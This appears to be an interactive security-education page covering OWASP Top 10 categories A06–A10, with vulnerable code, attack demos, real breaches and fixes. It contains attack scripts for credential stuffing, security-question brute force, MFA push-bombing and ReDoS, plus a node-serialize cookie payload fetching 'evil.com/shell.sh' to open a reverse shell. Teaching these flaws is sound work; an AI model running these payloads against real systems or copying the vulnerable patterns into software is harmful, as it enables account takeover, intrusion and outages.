UNION-based injection can read any table the database user can access

Data Destruction

The same access that reads data can drop tables or wipe records

Session Theft (XSS)

Stolen cookies let an attacker impersonate any visitor, including admins

Regulatory Fines

Payment card and personal data leaks trigger PCI DSS and privacy penalties

!
Heartland Payment Systems (2008) — SQL Injection

Attackers used SQL injection to plant malware on the payment processor's network, stealing over 130 million card numbers — one of the largest breaches at the time.

Sources: Krebs on Security, Wikipedia

!
TalkTalk (2015) — SQL Injection

A basic SQL injection attack on the UK telecom exposed around 157,000 customers' personal data, resulting in a £400,000 fine from the ICO.

Source: Wikipedia

Step 5

The Fix

Never let user input become part of the query syntax or the page markup.

routes/search.js SECURED
// ✅ Parameterised query — the database treats $1 strictly as data
app.get('/api/search', async (req, res) => {
  const q = req.query.q;

  const results = await db.query(
    'SELECT * FROM products WHERE name LIKE $1',
    [`%${q}%`]
  );

  res.json(results);
});
ProductReview.jsx SECURED
// ✅ Render as text, never as HTML
function Review({ review }) {
  return <div>{review.text}</div>;  // React escapes this automatically
}

// ✅ Also add a Content-Security-Policy header as a second layer of defence:
// Content-Security-Policy: script-src 'self'
1
Use parameterised queries, always

Never build a query by concatenating or interpolating user input into the query string.

2
Escape output by context

Text going into HTML, attributes and JavaScript each need different escaping rules — use your framework's built-in escaping.

3
Add a Content-Security-Policy

A strict CSP (Content-Security-Policy) stops injected scripts from running even if one slips through.

4
Use least-privilege database accounts

The application's database user shouldn't be able to read tables it never legitimately needs.

5
Validate input against an allowlist

Reject unexpected characters early, as defence in depth — not as a substitute for parameterised queries.

Step 1 of 5
A06

Insecure Design

Architectural flaws that perfect code can't fix — a feature built exactly to specification, where nobody ever asked "what happens if someone abuses this?"

Critical Severity No patch fixes a missing threat model ▼ Down from #4
Step 1

The Normal Flow

A user forgets their password and resets it by answering a security question.

https://example.com/reset-password
What is the name of your first pet?
Buddy
Reset Password

Password reset successful

Network Console
NameStatusTypeSize
POST /api/reset-password/verify 200 json 96 B
{ "verified": true, "resetToken": "rst_9f8e7d6c" }
Step 2

The Missing Threat Model

The code works exactly as specified. Nobody specified what an attacker could do with it.

routes/reset-password.js Node.js / Express
// POST /api/reset-password/verify
// This code has no bugs. It does precisely what the ticket asked for.
app.post('/api/reset-password/verify', async (req, res) => {
  const { email, answer } = req.body;
  const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);

  // ❌ Design gap: no limit on verification attempts
  // ❌ Design gap: the question's answer space is tiny and often public
  if (answer.toLowerCase() === user.securityAnswer.toLowerCase()) {
    const resetToken = issueResetToken(user.id);
    return res.json({ verified: true, resetToken });
  }
  res.status(400).json({ verified: false });
});
Why this isn't a coding bug:
  • The code correctly implements "compare the submitted answer to the stored one"
  • No line of this code is syntactically or logically wrong
  • The flaw is in the choice to use a security question at all — the design never accounted for guessable or publicly researchable answers
Questions a threat model would have asked:
  • How many possible answers exist for "first pet's name"? (Hint: a few hundred)
  • Can this answer be found on the user's public social media profile?
  • What stops someone from trying every common answer in a loop?
Step 3

The Attack

No password is needed — just research or a short list of common answers.

Console
> // The victim posted "Throwback to when I got Buddy in 2015 🐶" publicly last year
> fetch('/api/reset-password/verify', {method:'POST', body: JSON.stringify({email:'victim@example.com', answer:'Buddy'})})
▶ { verified: true, resetToken: "rst_9f8e7d6c" }
↑ First guess, first try. No brute force needed — the answer was already public and the attacker only needed one attempt.
Security-question brute force (attacker script)
# common-pet-names.txt — top 500 pet names, no research required
while read -r name; do
  curl -s -X POST https://example.com/api/reset-password/verify \
    -d "{\"email\":\"victim@example.com\",\"answer\":\"$name\"}" \
    -o /dev/null -w "%{http_code}\n"
done < common-pet-names.txt | grep -n 200

# No rate limit, no lockout, no CAPTCHA
# 500 requests takes under a minute
Step 4

The Impact

Whoever answers the question owns the account — no password, no MFA (Multi-Factor Authentication), no questions.

Account recovered by — someone who isn't the owner
stepactionneeded the real password?
1Submit security answerNo
2Receive reset tokenNo
3Set a brand new passwordNo
Every step in the "forgot password" flow is designed to work without the original password — that's the point. It also means every step works for an attacker.

None of this requires attacker skill — it's a flawed design that already affects every account on the platform.

Total Account Lockout

The real owner is now locked out of their own account

Impersonation

Attackers can message contacts, post publicly or access linked accounts

No Patch Available

Fixing this means redesigning the recovery flow, not shipping a hotfix

Scales to Every User

The same weak design applies to every account on the platform

!
Sarah Palin's Yahoo Email (2008)

An attacker reset the then-VP candidate's Yahoo Mail using publicly known security-question answers — her birthdate and where she went to high school — found on Wikipedia in under a minute.

Sources: Wikipedia, Wikipedia: David Kernell

!
Snapchat "Find Friends" (2013)

A phone-number lookup feature worked exactly as designed, with no abuse-case consideration — researchers used it to match 4.6 million usernames to phone numbers.

Source: Wikipedia

Step 5

The Fix

Redesign the flow around what an attacker would try, not just what a legitimate user needs.

routes/reset-password.js SECURED
// ✅ No security questions at all — a time-limited link sent to a verified channel
app.post('/api/reset-password/request', resetRateLimiter, async (req, res) => {
  const { email } = req.body;
  const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);

  // ✅ Same response whether or not the account exists — no enumeration
  if (user) {
    const token = issueSignedToken(user.id, { expiresIn: '15m' });
    await sendEmail(user.email, resetLink(token));
    await notifyAllDevices(user.id, 'A password reset was requested');
  }
  res.json({ message: 'If that account exists, a reset link has been sent.' });
});
1
Threat model before writing a single line

For every feature, ask "how would someone abuse this?" as a design step, not an afterthought.

2
Retire security questions

Their answer spaces are small, guessable and often publicly researchable. Use verified email or SMS links instead.

3
Write abuse-case user stories

Alongside "As a user, I can reset my password", write "As an attacker, I try to reset someone else's password".

4
Rate-limit every sensitive flow by default

Password reset, login and verification endpoints should assume automation from day one.

5
Notify users of security-relevant actions

An email or push notification on password reset gives the real owner a chance to react fast.

Step 1 of 5
A07

Authentication Failures

Weak or missing checks on who's actually logging in — no limit on failed attempts, no second factor, predictable session tokens. A stolen or guessed password becomes a full account takeover.

Critical Severity 36 CWEs (Common Weakness Enumeration) mapped ◆ Same position
Step 1

The Normal Flow

A user logs in with an email and password. Nothing about the request looks unusual.

https://example.com/login
alice@email.com
••••••••
Sign In

Logged in as Alice Smith

Network Console
NameStatusTypeSize
POST /api/login 200 json 312 B
{
  "userId": 123,
  "sessionToken": "sess_a1b2c3d4",
  "expiresIn": 86400
}
Step 2

The Vulnerable Code

The login route checks the password — and nothing else.

routes/auth.js Node.js / Express
// POST /api/login
app.post('/api/login', async (req, res) => {
  const { email, password } = req.body;
  const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);

  // ❌ No limit on failed attempts from this IP or account
  if (!user || !checkPassword(password, user.passwordHash)) {
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // ❌ No second factor — a correct password is the only thing needed
  const sessionToken = createSession(user.id);
  res.json({ userId: user.id, sessionToken, expiresIn: 86400 });
});
What's wrong here:
  • No rate limiting or account lockout — the endpoint will happily check millions of passwords
  • No MFA (Multi-Factor Authentication) — a leaked password is enough on its own
  • Failed and successful logins aren't distinguished for monitoring purposes
Credential stuffing exists because of this exact gap. Billions of real email/password pairs are already circulating from other companies' breaches — attackers don't need to guess, they just replay leaked combinations here and hope some users reused them.
Step 3

The Attack

Two attacks that need nothing more than a list of leaked passwords and patience.

Credential stuffing (attacker script)
# leaked-combos.txt — 2 million email:password pairs from unrelated breaches
while read -r line; do
  email="${line%%:*}"
  password="${line##*:}"
  curl -s -X POST https://example.com/api/login \
    -d "{\"email\":\"$email\",\"password\":\"$password\"}" \
    -o /dev/null -w "%{http_code} $email\n"
done < leaked-combos.txt | grep 200 >> valid-accounts.txt

# No lockout, no CAPTCHA, no rate limit — every request just gets answered
# Typical hit rate on reused passwords: 0.1–2% of the list
# On 2 million combos, that's thousands of working accounts
MFA push-fatigue (attacker script)
# The attacker already has a valid password from the stuffing run above
# Now they just need the user to tap "Approve" once, out of annoyance
for i in $(seq 1 40); do
  curl -s -X POST https://example.com/api/mfa/push \
    -d '{"sessionId":"pending_abc123"}'
  sleep 45
done

# 1:14am — push notification #23
# 1:15am — push notification #24
# 1:15am — user taps "Approve" just to make it stop
This isn't a technical bypass of MFA — it's a human one. Repeated push prompts at 1am wear a person down faster than they raise suspicion.
Step 4

The Impact

Once the attacker is inside, every permission the real account holder had is now theirs.

Console
> // Attacker's session, now indistinguishable from the real user's
> fetch('/api/account/vpn-config').then(r=>r.json()).then(console.log)
▶ {
  vpnGateway: "vpn.internal-corp.example.com",
  certificate: "-----BEGIN CERTIFICATE-----...",
  scadaAccess: true          ← Same login grants remote access to internal systems
}
↑ There's no second login for internal systems — the same session that authenticated the VPN also unlocks whatever that account was allowed to reach.

Each consequence below builds directly on the one before it, from a single foothold to operational shutdown.

Lateral Movement

One compromised account becomes a foothold to reach internal systems and other accounts

Ransomware Deployment

Legitimate credentials let attackers move quietly before detonating ransomware

Operational Shutdown

Critical infrastructure operators sometimes shut systems down themselves to contain a breach

Regulatory Fallout

Breaches involving critical services attract regulatory and Congressional scrutiny

!
Colonial Pipeline (2021) — One Password, No MFA

A single leaked VPN password with no MFA gave attackers a foothold. The company shut the pipeline down itself to contain the breach, triggering fuel shortages across the US East Coast.

Sources: Wikipedia, BBC

!
Uber (2022) — MFA Push Bombing

An attacker bought a contractor's stolen password on the dark web, then repeatedly triggered MFA push prompts until the contractor approved one just to stop the notifications.

Sources: Wikipedia: Lapsus$, Wikipedia: Uber

Step 5

The Fix

Rate-limit every attempt, require a second factor and make that second factor resistant to fatigue.

routes/auth.js SECURED
// ✅ Rate limit by IP and by account, not just IP
app.post('/api/login',
  loginRateLimiter,  // ✅ e.g. 5 attempts per 15 minutes
  async (req, res) => {

  const { email, password } = req.body;
  const user = await db.query('SELECT * FROM users WHERE email = $1', [email]);

  if (!user || !checkPassword(password, user.passwordHash)) {
    await recordFailedAttempt(email, req.ip);  // ✅ Feeds lockout + alerting
    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // ✅ Require a second factor before issuing a full session
  if (!user.mfaEnrolled) return res.status(403).json({ error: 'MFA setup required' });
  const challenge = await createMfaChallenge(user.id);  // ✅ Number-matching, not a bare "Approve?" tap
  res.json({ mfaChallengeId: challenge.id });
});
1
Rate-limit and lock out

Cap login attempts per account and per IP. Slow down or block automated guessing.

2
Require MFA — and make it fatigue-resistant

Prefer number-matching or hardware keys over a bare "Approve?" push that's easy to tap without thinking.

3
Check leaked-password databases at signup

Reject passwords that already appear in known breach dumps, before they become a stuffing target.

4
Alert on anomalous login patterns

A login from a new country, device or a sudden burst of MFA prompts should trigger review, not silent approval.

5
Segment what a session can reach

A compromised account should not automatically unlock every internal system it happens to have access.

Step 1 of 5
A08

Software or Data Integrity Failures

Trusting code or data without verifying where it actually came from — unsigned updates, unchecked deserialization, artifacts nobody confirmed match the source. Distinct from supply chain (A03): this is about verification at the point of use, not the build pipeline.

Critical Severity "Signed" is not the same as "safe" ◆ Same position
Step 1

The Normal Flow

An app checks for updates and installs the latest version automatically.

app://update-manager

Software Update

Version 4.2.1 is available.

Current: 4.2.0
New: 4.2.1
Network Console
NameStatusTypeSize
GET /updates/app-4.2.1.exe 200 binary 18.4 MB
Step 2

The Vulnerable Code

The update is downloaded over HTTPS (Hypertext Transfer Protocol Secure) and run — HTTPS protects the connection, not the content.

updater.js Node.js
// Auto-update routine, runs on every launch
async function checkForUpdate() {
  const res = await fetch('https://cdn.example.com/updates/latest.exe');
  const buffer = await res.arrayBuffer();

  // ❌ No signature check, no checksum comparison
  // ❌ Whatever the CDN (Content Delivery Network) returns is trusted completely
  await fs.writeFile('update.exe', Buffer.from(buffer));
  execFile('update.exe');
}
middleware/session.js Insecure Deserialization
const serialize = require('node-serialize');

// Restores a "profile" object stored client-side in a cookie
app.use((req, res, next) => {
  if (req.cookies.profile) {
    // ❌ Deserializes an object straight from user-controlled input
    req.profile = serialize.unserialize(req.cookies.profile);
  }
  next();
});
What's wrong here:
  • The updater trusts the CDN's response completely — no signature, no hash comparison
  • Some serialization formats let a crafted object embed executable code that runs the moment it's deserialized
  • Both flaws share the same root cause: something arrived from outside the system and was trusted without verification
HTTPS ≠ integrity. HTTPS confirms the connection wasn't tampered with in transit — it says nothing about whether the file at the other end is the one the developer actually published.
Step 3

The Attack

Replace the trusted file or craft an object that runs code the moment it's loaded.

Update server compromise (attacker's view)
# Attacker gains access to the CDN origin or build server
$ ls /var/www/updates/
latest.exe

# Swap the legitimate binary for a backdoored one with the same filename
$ cp trojanized-update.exe /var/www/updates/latest.exe

# Every client that checks for updates from now on downloads the malicious version
# No error, no warning — it's served from the same trusted URL as always
The client did nothing wrong. It downloaded from the correct, trusted URL over a secure connection. The compromise happened upstream, and nothing on the client side was built to notice.
Console
> // Attacker sets a crafted cookie instead of a normal profile object
> document.cookie = "profile=_$$ND_FUNC$$_function(){require('child_process').exec('curl evil.com/shell.sh|sh')}()"
▶ Server deserializes the cookie on the next request
▶ The embedded function executes with the server's own privileges
▶ A reverse shell connects back to evil.com
↑ The "data" was never just data — this serialization format allows executable functions to be embedded directly inside it.
Step 4

The Impact

A trusted update channel becomes a delivery mechanism the attacker didn't have to build themselves.

Install telemetry — malicious version distributed as legitimate
versioninstallssigned?malicious?
4.2.02,100,000YesNo
4.2.11,800,000YesYes
The malicious version still shows a valid signature — a signature only proves who signed it, not that the signer's process wasn't compromised.

Every safeguard meant to prove trustworthiness — the signature, the domain, the update channel — ends up working in the attacker's favor.

Mass Distribution

Every user who trusted the auto-updater installs the malware automatically

Hard to Detect

A validly signed file from the official domain raises no antivirus or user suspicion

Remote Code Execution

Deserialization exploits typically hand the attacker a shell on the server

Trust Damage

Users lose confidence in auto-updates generally, not just for the affected product

!
CCleaner (2017) — A Validly Signed Trojan

Attackers compromised the build server and shipped a backdoored update signed with the company's own legitimate certificate. Roughly 2.27 million users installed it.

Sources: Wikipedia, Wired

!
ASUS "ShadowHammer" (2019) — Compromised Update Server

Attackers pushed a backdoored update through ASUS's own Live Update tool, signed with a stolen but valid ASUS certificate, to up to roughly 1 million computers.

Sources: Kaspersky Securelist, Wikipedia

Step 5

The Fix

Verify what arrives before trusting it — and never deserialize untrusted data into executable objects.

updater.js SECURED
async function checkForUpdate() {
  const res = await fetch('https://cdn.example.com/updates/latest.exe');
  const buffer = Buffer.from(await res.arrayBuffer());

  // ✅ Verify a cryptographic signature against a known public key
  const sigValid = verifySignature(buffer, EXPECTED_PUBLIC_KEY);
  if (!sigValid) throw new Error('Update signature verification failed');

  // ✅ Also compare against a published checksum as a second check
  if (sha256(buffer) !== EXPECTED_CHECKSUM) throw new Error('Checksum mismatch');

  await fs.writeFile('update.exe', buffer);
  execFile('update.exe');
}

// ✅ Elsewhere: replace unserialize() with JSON.parse() — plain data, no embedded functions
req.profile = JSON.parse(req.cookies.profile);
1
Verify signatures, not just connections

HTTPS protects data in transit. A cryptographic signature check confirms the content itself hasn't been tampered with.

2
Never deserialize untrusted data into live objects

Use plain data formats like JSON. If a serialization library can embed executable code, don't run it on user-controlled input.

3
Use Subresource Integrity for third-party scripts

SRI (Subresource Integrity) hashes on CDN-loaded scripts stop a compromised CDN from silently changing content.

4
Protect the signing process itself

A stolen signing key or a compromised build server makes signature checks meaningless — guard the key as carefully as the product.

5
Prefer reproducible, verifiable builds

If independent parties can rebuild an artifact and get an identical result, tampering becomes far harder to hide.

Step 1 of 5
A09

Logging & Alerting Failures

Insufficient logging, unmonitored logs and alerts nobody acts on — detection tools can only help if someone actually reads what they find.

Critical Severity Detection without response is just a record of the breach ◆ Same position (renamed)
Step 1

The Normal Flow

The security dashboard shows all green. Logs are being collected, right on schedule.

https://logs.example.com/dashboard

Security Overview

All systems reporting normally.

Log ingestion: 4.2M/day
Open alerts: 0
Uptime: 99.98%
access.log — routine traffic
2025-06-01 04:00:01 INFO  GET /api/health 200
2025-06-01 04:00:02 INFO  POST /api/orders 201
2025-06-01 04:00:03 INFO  GET /api/products 200
2025-06-01 04:00:05 INFO  GET /api/health 200
Step 2

The Vulnerable Setup

Logging exists. Alerting exists. Neither one is actually configured to get anyone's attention.

middleware/logger.js Node.js / Express
app.use((req, res, next) => {
  // ❌ Logs the request line only — no user ID, no outcome, no reason for a 403/401
  console.log(`${req.method} ${req.path} ${res.statusCode}`);
  next();
});

// ❌ Failed logins are never logged as a distinct, searchable event at all
app.post('/api/login', async (req, res) => {
  const valid = await checkPassword(req.body);
  if (!valid) return res.status(401).json({ error: 'Invalid credentials' });
  // ...
});

Alert Routing Configuration

How "suspicious login" alerts reach the team.

Destination: security-alerts@example.com
Inbox checked: monthly, informally
On-call rotation: none configured
The alert exists. It just arrives somewhere nobody is watching in real time.
What's wrong here:
  • Logs capture the request but not the security-relevant outcome
  • Failed logins, permission denials and admin actions aren't logged as distinct, searchable events
  • Alerts exist on paper but route to a channel with no defined owner or response time
Logging without alerting is a diary. Alerting without an owner is a diary that occasionally sends itself an email.
Step 3

The Attack

The evidence is all there. It's just buried or already dismissed.

access.log — 4.2 million lines per day
2025-06-01 03:58:41 INFO  GET /api/health 200
2025-06-01 03:58:42 INFO  GET /api/products 200
2025-06-01 03:58:44 WARN  POST /api/login 401 (attempt 1 of 4,000)
2025-06-01 03:58:44 INFO  GET /api/health 200
2025-06-01 03:58:45 INFO  GET /api/products 200
2025-06-01 03:58:46 WARN  POST /api/login 401 (attempt 2 of 4,000)
2025-06-01 03:58:46 INFO  GET /api/health 200
... 4,000 near-identical WARN lines, one every ~2 seconds, over several days ...
Nobody queries 4.2 million log lines by hand. Without an automated rule tying "many 401s, one account, short window" together, this pattern is invisible until someone goes looking for a completely different reason.
security-alerts inbox
⚠ [Auto-Alert] Unusual login volume detected — account: j.tan@example.com — 06:14 UTC
Status: Unread
Opened: 11 days later, during an unrelated audit
Action taken at the time: none
↑ The system did exactly what it was built to do — it noticed, and it said so. Nobody was assigned to listen.
Step 4

The Impact

The gap between "a breach happened" and "someone noticed" is where the real damage accumulates.

277 days isn't a worst case — it's the measured industry average.

11 Days the auto-alert sat unread in this scenario
277 Average days to identify a breach, industry-wide (IBM Cost of a Data Breach research)
4.2M Log lines per day — the haystack the alert should have removed the need to search manually
1 Rule that was missing: correlate repeated failures on one account within a short window

Each of these problems feeds back into the next — lost trust in alerting is exactly what lets dwell time grow even longer next time.

Longer Dwell Time

More time undetected means more data accessed and more systems reached

Harder Forensics

Relevant logs may have already rotated out of retention by the time anyone looks back

Regulatory Exposure

Breach notification laws often key off "when the organisation should have known"

Lost Trust in Tooling

Repeated missed alerts push teams to distrust or mute the very tools meant to help them

!
Target (2013) — The Alert That Fired

Target's own malware-detection tool flagged the intrusion in real time. The alert was seen by the security team and not escalated — 40 million card numbers were stolen over the following weeks.

Sources: Wikipedia, Krebs on Security

!
Marriott / Starwood (2018) — Four Years Undetected

Attackers sat inside Starwood's reservation systems for roughly four years before an internal security tool finally flagged the intrusion. Marriott's initial estimate put 500 million guest records at risk, later revised down to around 383 million.

Sources: Krebs on Security, Wikipedia

Step 5

The Fix

Log the events that matter, correlate them automatically and route the result to someone who will actually respond.

middleware/logger.js SECURED
// ✅ Structured, searchable events for anything security-relevant
function logSecurityEvent(event, meta) {
  logger.warn({ event, ...meta, timestamp: Date.now() });  // ✅ Ships to the SIEM (Security Information and Event Management)
}

app.post('/api/login', async (req, res) => {
  const valid = await checkPassword(req.body);
  if (!valid) {
    logSecurityEvent('login_failed', { email: req.body.email, ip: req.ip });
    return res.status(401).json({ error: 'Invalid credentials' });
  }
  // ...
});

// ✅ Correlation rule, not a per-line alert:
// ALERT WHEN count(login_failed) BY email > 10 WITHIN 5m -> page on-call
1
Log security events as first-class, structured data

Failed logins, permission changes and admin actions need their own searchable event type.

2
Correlate, don't just collect

A single failed login is noise. A thousand against one account in five minutes is a signal — write the rule that connects them.

3
Give every alert a named owner and an SLA

An alert with no on-call rotation behind it is a suggestion, not a control.

4
Tune alerts to fight fatigue

Too many false positives trains people to ignore alerts entirely — precision matters as much as coverage.

5
Retain logs long enough to matter

If breaches average months to detect, logs that rotate out in days can't help the investigation.

Step 1 of 5
A10

Mishandling of Exceptional Conditions

Crashes, hangs and data corruption caused by code that never planned for the unexpected input, the failed request or the code path nobody expected to run again.

Critical Severity A single crafted input can take down an entire process New in 2025
Step 1

The Normal Flow

A signup form validates an email address before accepting it.

https://example.com/signup
alice@email.com
Continue

Email accepted

Network Console
NameStatusTypeSize
POST /api/validate-email 200 json 28 B
{ "valid": true }
Step 2

The Vulnerable Code

The validation regex has nested quantifiers — a pattern that can take exponentially longer to fail than it takes to succeed.

routes/validate-email.js Node.js / Express
// POST /api/validate-email
// ❌ Nested quantifiers: (x+)+ can backtrack exponentially on the wrong input
const EMAIL_REGEX = /^([a-zA-Z0-9]+)+@([a-zA-Z0-9]+)+\.[a-zA-Z]{2,}$/;

app.post('/api/validate-email', (req, res) => {
  const { email } = req.body;

  // ❌ No length cap, no timeout — the regex runs to completion no matter how long that takes
  const valid = EMAIL_REGEX.test(email);
  res.json({ valid });
});
What's wrong here:
  • ([a-zA-Z0-9]+)+ can match the same characters in many different ways — when the overall match ultimately fails, the engine backtracks through nearly all of them
  • There's no cap on input length before the regex runs
  • Node.js regex execution is synchronous and single-threaded — a slow match blocks every other request on that process
This is called ReDoS (Regular Expression Denial of Service) — a specific case of "mishandling exceptional conditions": the code has no plan for an input pattern-matching taking pathologically long.
Step 3

The Attack

One carefully crafted string, sent to a single public endpoint.

ReDoS payload (attacker script)
# 40 valid characters followed by one character that can never complete the match
$ curl -X POST https://example.com/api/validate-email \
    -d '{"email":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}'

# The request never returns. The process's single thread is now busy
# backtracking through millions of possible ways to match — and failing every time

# Ten more requests like this, sent in parallel, and every user of this server
# is now waiting behind them
Server Metrics
CPU (core 1): 100% — pegged since 04:12:03 UTC
Event loop lag: 14,220ms
Requests queued: 1,847 and climbing
↑ Ten short HTTP requests, and the process can no longer serve anyone — no exploit needed beyond a well-chosen string.
Step 4

The Impact

Unhandled exceptional conditions don't always come from an attacker — but they always take something down.

This is the only category here where the attacker doesn't have to steal anything to do real damage.

Total Service Outage

A single-threaded process that hangs stops serving every user, not just the attacker

Cascading Failures

Upstream services retry against a hung endpoint, spreading load into a wider outage

Financial Loss

Every minute of downtime on a revenue-generating service has a direct, measurable cost

No Data Theft Needed

Unlike most other categories, the damage is done without ever accessing a single record

!
Cloudflare (2019) — A ReDoS Took Down a Huge Slice of the Internet

A single catastrophic-backtracking regular expression deployed globally spiked CPU usage to 100% across Cloudflare's network, causing 27 minutes of widespread outages for its customers.

Source: Cloudflare's postmortem

!
Knight Capital (2012) — A Dormant Code Path, No Kill Switch

A deployment error re-activated old, unused test code with no safeguard to catch the abnormal trading pattern it produced — $460 million lost in 45 minutes.

Source: Wikipedia

Step 5

The Fix

Assume every input, every dependency and every code path will eventually fail — and plan for it explicitly.

routes/validate-email.js SECURED
// ✅ No nested quantifiers — each character class can only match one way
const EMAIL_REGEX = /^[a-zA-Z0-9._-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;

app.post('/api/validate-email', (req, res) => {
  const { email } = req.body;

  // ✅ Reject absurd input before it ever reaches the regex engine
  if (typeof email !== 'string' || email.length > 254) {
    return res.status(400).json({ valid: false });
  }

  const valid = EMAIL_REGEX.test(email);
  res.json({ valid });
});
1
Cap input size before expensive processing

Reject oversized input outright, before it reaches a regex, parser or loop.

2
Avoid nested quantifiers in regular expressions

Patterns like (x+)+ or (x*)* are the classic trigger for catastrophic backtracking.

3
Set timeouts on anything that could hang

Regex matching, external calls and file parsing should all have an upper bound on how long they're allowed to run.

4
Fail closed, not open

When something goes wrong, the safe default is to deny the action — not to silently continue as if it succeeded.

5
Keep a kill switch for critical systems

A fast, tested way to disable a misbehaving feature can turn a 45-minute disaster into a 45-second one.

Step 1 of 5